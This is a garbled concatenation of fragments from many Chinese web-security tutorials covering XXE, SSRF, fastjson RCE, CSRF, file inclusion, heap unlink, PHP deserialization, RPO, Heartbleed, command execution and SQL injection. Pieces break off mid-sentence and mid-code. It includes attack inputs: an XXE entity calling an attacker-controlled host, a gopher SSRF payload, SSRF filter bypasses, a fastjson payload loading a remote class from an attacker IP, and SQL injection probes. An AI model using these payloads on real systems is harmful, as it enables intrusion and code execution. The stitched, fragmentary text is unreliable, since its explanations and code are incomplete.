XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢? ---- XML DTD 1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用 DTD语法 若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中 语法 <! etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 白名单过滤 ---- 判断是否存在XXE漏洞 ENTITY playwin SYSTEM "http://yourvps/xx.txt"> ]> <root>&playwin;</root> 解析成功,说明有XXE漏洞
基本介绍 RFD(Reflected File Download)即反射型文件下载漏洞,2014年在BlackHat中被提出,该漏洞在原理上类似XSS,在危害上类似DDE,攻击者可以通过一个URL地址使用户下载一个恶意文件 ,从而危害用户的终端PC,不过这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其他许多公司认为这是一个中危漏洞 漏洞原理 下面从一个实例理解RDF漏洞 此时在回显数据报中我们传入的参数数据原样输出: 之后我们改造URL通过利用和DDE相似的攻击方法让回显内容作为一个bat文件下载,这一点可以通过分号(;)或结合社工的方式来实现 备注:URL中分号;是个保留字符,类似连接符,现已废除 漏洞挖掘 根据漏洞触发的三个条件挖掘漏洞: 输入反射:用户输入被"反射"到响应内容 文件名可控:URL允许接受用户的其他输入,攻击者将其用于把文件扩展名设置为可执行扩展名 诱导下载操作:响应被作为文件里内容进行下载 11中命中JSON/JSONP API URL,我们可以看到响应将以somefileName.json的形式下载,文件名主要取决于http Content-Disposition标头和URL,而要利用此漏洞
文章目录 0x01 基础知识 1、SSRF漏洞简介: 2、主要攻击方式: 3、漏洞形成原理: 4、漏洞的危害: 0x02 漏洞检测 1、漏洞验证: 2、漏洞的可能出现点: 0x03 绕过方法: 1、绕过限制为某种域名 : 2、绕过限制请求IP不为内网地址: 3、限制请求只为http协议: 0x04 漏洞利用 1、产生漏洞的函数: 2、漏洞靶场: 0x05 如何防御SSRF 0x01 基础知识 1、SSRF漏洞简介: url=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求) ... 3、漏洞形成原理: 很多网站提供了从其他的服务器上获取数据的功能 0x02 漏洞检测 1、漏洞验证: 因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞。 2、绕过限制请求IP不为内网地址: (1)采用短网址绕过 (2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1 (3)
漏洞知识库 网络安全/渗透测试/代码审计/ 关注 SSRF漏洞原理与利用 什么是SSRF? 内外网的端口和服务探测 主机本地敏感数据的读取 内外网主机应用程序漏洞的利用 …… 等等 怎么找到SSRF漏洞? 能够对外发起网络请求的地方,就可能存在SSRF漏洞 从远程服务器请求资源(Upload from URL,Import & Export RSS feed) 数据库内置功能(Oracle、MongoDB > SSRF漏洞的利用 访问URL: http://127.0.0.1/web/ssrf.php?url=www.baidu.com ? 912、902、3306端口 80:HTTP 8080:代理服务器端口(因为打开了BurpSuite) 912:虚拟机监听端口 902:Vmware使用的端口 3306:Mysql服务默认端口 SSRF漏洞修复建议
然后通过@type指定的内容来选择反序列化使用到的链为哪一条,那么我们通过此特性通过指定datasourcename参数为我们的恶意class类,从而导致命令执行 fastjson 1.2.24-rce漏洞复现 环境地址 https://github.com/vulhub/vulhub 启动环境 docker-compose up -d 漏洞复现 写入如下代码进入java文件保存为rce.java文件 import 192.168.13.106:9999/rce", "autoCommit":true } } 如下图成功访问本地的rce.class文件 本地已执行命令 fastjson 1.2.47-rce漏洞复现 描述 该漏洞为1.2.24白名单限制,可绕过白名单限制进行命令执行(与1.2.24原理相同) 环境地址 https://github.com/vulhub/vulhub 启动环境 docker-compose up -d 漏洞复现 此漏洞复现方式与fastjson 1.2.24相似,所以我们直接给出payload,连marshalsec项目监听的服务和python监听的class文件的服务都不需要做任何更改
xml基础知识 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。
攻击原理 csrf.png 从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 1.登录受信任网站A,并在本地生成Cookie 2.在不登出A的情况下,访问危险网站B 防御原理 csrf
phpstudy下载地址:http://phpstudy.php.cn pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu 文件上传漏洞 : 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
文件包含漏洞原理浅探 By : Mirror王宇阳 个人主页: https://www.cnblogs.com/wangyuyang1016/ 文件包含 文件包含是指一个文件里面包含另外一个文件 漏洞演示(本地执行) <?php include("phpinfo.txt"); ?> <?php phpinfo(); ?> ? 喏! 由此笔者得到的论证是:include()函数包含的任何文件都会以PHP文件解析,但前提是文件的内容符合PHP代码规范;若内容不符合PHP代码规范则会在页面暴露文件内容(这是重点) 漏洞演示(远程执行) PHP文件包含漏洞基本利用 读取敏感文件 构造类似http://127.0.0.1/?url=.\phpinfo.txt ? 喏!我们看见了文本内容,为什么呢? www.cnblogs.com/timelesszhuang/p/3726736.html PHP6/7关闭了magic_quotes_gpc函数: PHP6\7关闭magic_quotes_gpc对程序的影响 文件包含的漏洞修复
wonderkun 撰写 无回复 0x1 前言 网上关于unlink漏洞的文章已经非常多了,但是作为一个web狗,为了搞明白这个漏洞,还是花了好长时间,中间踩了几个坑,写这篇文章是希望跟我一样啃二进制的 在什么地址写,第二个.写入什么内容 addr就表示任意一个你想控制的可写地址 except value 是你想在addr中写入的值 下面就来看漏洞是怎么发生的,当我们free(Q)的时候,系统就发现Q堆块后面的 但是还需要注意:expect value +8 地址具有可写的权限,不会导致程序崩溃,这样就产生了一个任意地址写的漏洞。 0x5 分析unsafe unlink的代码,理解unlink漏洞 unsafe unlinke的代码在这里:https://github.com/Escapingbug/how2heap/blob/master ,最后一位为零表示上一个堆块是free状态,可以和它合并 最后完整的布局图如下: 4.在free(chunk1_ptr)之后,chunk0_ptr指向了&chunk0_ptr-3的地方 5.漏洞证明
本文作者:cream(贝塔安全实验室-核心成员) PHP序列化漏洞原理 1、序列化(串行化) 2、反序列化(反串行化) 3、序列化实例分析 4、反序列化实例分析 5、祸起萧墙---Magic函数 5.1 魔数函数的用法 5.2 安全问题 6、实例讲解 6.2.1 Typecho 6.2.2 漏洞介绍和复现 6.1 CVE-2016-7124 6.2 Typecho反序列化漏洞 6.3 bugku 文件包含和 PHP反序列化漏洞CTF练习题 7、防御PHP序列化漏洞 1、序列化(串行化) 将变量转换为可保存或传输的字符串的过程; 2、反序列化(反串行化) 在适当的时候把这个字符串再转化成原来的变量使用。 漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。 ? 6.2.2 漏洞介绍和复现 Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。
基本介绍 Gareth Heyes在2014年首次提出了一种新型攻击手法—RPO(Relative Path Overwrite)相对路径覆盖,该漏洞是一种利用相对URL路径覆盖目标文件的一种攻击手段, 其主要依赖于服务器和浏览器的解析差异性并利用前端代码中加载的css/js的相对路径来加载其他文件,最终使得浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生 原理概述 资源定位 资源的定位有相对路径和绝对路径两种方式,其中绝对路径以根目录为起点并完整地指定资源的路径,例如:http://www.example.com/index.html,其中"http: 192.168.204.134/RPO/test/..%2findex.php后你会惊奇的发现本来只能读取和自己在同一目录下的a.js的index.php居然成功访问到了test目录下的a.js(css也是一样的原理 ,不再赘述) 原理分析 下面我们来分析一下上面的弹窗究竟是怎么实现的: Step 1:我们向服务器提交我们想请求的URL http://192.168.204.134/RPO/test/..%2findex.php
SSRF漏洞原理攻击与防御 前言:笔者对SSRF的进一步研究学习基于网络安全爱好者的兴趣,与白帽黑客的责任,仅在专业靶场和补天平台授权站点进行测试。 [TOC] SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个漏洞 一、SSRF漏洞原理: SSRF漏洞 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制 #### 1.1 SSRF危害 端口扫描、内网web应用指纹识别、攻击内网web应用、读取本地文件 二、SSRF漏洞挖掘: 互联网上的很多web应用提供了从其他服务器获取数据的功能。 可以说如果链接可以访问任意请求,则存在ssrf漏洞 2.1 SSRF可能产生的方式: 分享:通过URL地址分享网页内容 在线翻译:通过URL地址翻译对应文本的内容。 五、SSRF漏洞常见绕过方式: 5.1 采用短网址绕过 & 采用进制转换 采用短网址进行绕过和进制转化绕过都是非常经典的方式,127.0.0.1八进制:0177.0.0.1。
原理 当你在浏览器上登录某网站后,cookie会保存登录的信息,这样在继续访问的时候不用每次都登录了,这个大家都知道。而CSRF就利用这个登陆态去发送恶意请求给后端。 CSRF攻击 知道了原理,攻击就变得好理解了,接着上面的例子, 我把请求地址改成评论本篇文章的url,参数为 “这篇文章写得6”, 在没有CSRF防御的情况下,我发表一个评论如:脱单秘笈:,后面附上这个脚本的链接
前言 之前的文章都是写的SQL注入,命令执行,文件上传等一步到位的高危漏洞原理及防御,接下来说一说逻辑漏洞,因为现在工具的大量使用,之前的那些主流漏洞,很难被轻易利用了,逻辑漏洞不一样,工具不会思考,所以应用程序有逻辑缺陷 ,工具很难发现,需要人为去挖掘,接下来就简单说一说,如何来进行逻辑漏洞的挖掘。 逻辑漏洞本质 web应用程序中的逻辑漏洞各不相同,有的很明显,有的很微妙。与SQL注入和跨站不同,逻辑漏洞没有共有的“签名”,定义特性是指应用程序执行的逻辑存在某种缺陷。 没有考虑如果发生X会怎么样,这种错误的假设会造成许多安全漏洞。逻辑漏洞是多样性的,挖掘它们需要从不同的角度思考问题,设法了解设计者和开发者做出的各种假设,然后考虑如何攻击。 常见的逻辑漏洞 一般哪些地方容易报出逻辑漏洞呢,比如,密码找回、交易支付、密码修改、突破限制等。 密码找回中的逻辑问题 关于密码找回的逻辑问题,我画了一个思维导图,把可能出现逻辑缺陷都写出来了。
Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述 OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷。 该漏洞允许攻击者从内存中读取多达64KB的数据。 2. 长度 payload payload_length个bytes payload的具体内容 padding >=16bytes padding填充,最少为16个字节 2.1 探测数据包 心脏出血漏洞必须在含有心跳扩展和漏洞没有被修复的版本中存在 heartbleed漏洞主要存在于TLS和DTLS两种协议中,在含有heartbleed漏洞的OpenSSL协议中需要开启心跳扩展机制(beartbeat),而含有心跳扩展机制的TLS版本主要包含在TLSv1.0 参考资料 Openssl “心血” 漏洞分析. Ubuntu下Apache https安装和配置. Openssl漏洞POC学习.
Nginx+FastCGI运行原理 1、什么是 FastCGI FastCGI是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。 2、Nginx+FastCGI运行原理 Nginx不支持对外部程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来调用。 Nginx的php漏洞 漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。 2、Nginx+FastCGI运行原理 Nginx不支持对外部程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来调用。 Nginx的php漏洞 漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。
逻辑漏洞概述随着网络安全法的实施、企业和用户安全意识的提高,Web安全已经成为了重点关注的方向。诸如使用安全开发框架、部署安全防护设备等防护手段的使用,使得网站的常规漏洞越来越少。 以SQL注入为例,由于其危害巨大,常年稳居OWASPTop10的第一位,目前很多Web开发框架在底层就直接杜绝的SQL注入问题,但“逻辑漏洞”一词现在却更加热门,很可能成为Web漏洞的主战场。 之所以称之为“逻辑漏洞”,是因为在代码之后是人的逻辑,人更容易犯错,是编写完程序后随着人的思维理解产生的不足,所以逻辑漏洞一直都在。 相比SQL注入、XSS漏洞等传统安全漏洞,SQL注入、XSS等洞可以通过安全框架等避免,并且攻击流量非法,对原始程序进行了破坏,防火墙可以检测;所以现在的攻击者更倾向于利用业务逻辑层的应用安全问题,逻辑漏洞就是指攻击者利用业务的设计缺陷 而且由于逻辑漏洞产生的流量多数为合法流量,传统的安全防御设备和措施收效甚微,一般的防护手段或设备无法阻止,这类问题往往危害巨大,可能造成了企业的资产损失和名誉受损,所以导致了逻辑漏洞成为了企业防护中的难题
) 命令执行漏洞的原理:在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令(如添加一个名为admin 代码执行漏洞: 应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。 很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。 ? web应用中通过system函来调用: system("/bin/program --arg$arg"); 2.系统的漏洞造成命令注入 bash破壳漏洞(CVE-2014-6271) 3.调用的第三方组件存在代码执行漏洞 的命令执行漏洞 ?
二、SQL 注入漏洞详解 SQL 注入产生条件及危害: 注入攻击的本质,是把用户输入的数据当做代码执行 这里有两个关键条件 第一个是用户能够控制变量输入 第二个是原本程序能够执行代码 正常访问网站操作流程是用户提交参数给网站 SQL 注入漏洞产生的危害 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息,甚至删除数据。 绕过认证,例如绕过验证登录网站后台。 注入可以借助数据库的存储过程进行提权等操作 三、判断 SQL 是否存在 SQL 注入漏洞 通常情况下,可能存在 SQL 注入漏洞的地方一定是动态网页且此网页访问了数据库,同时不管是GET或者POST请求方式 = x and 1=1 当输入 and 1=2时,后台执行 SQL 语句,页面返回不正常: select * from <表名> where id = x and 1=2 综上可以初步判断存在注入漏洞 四、 SQL 注入漏洞的类型 通常注入主要分为数字型和字符型,但在不断实践中根据不同地方产生参数点、不同的编码、不同的执行代码返回的方式,常遇到如下注入类型,总结如下: 注入类型 条件 关键 union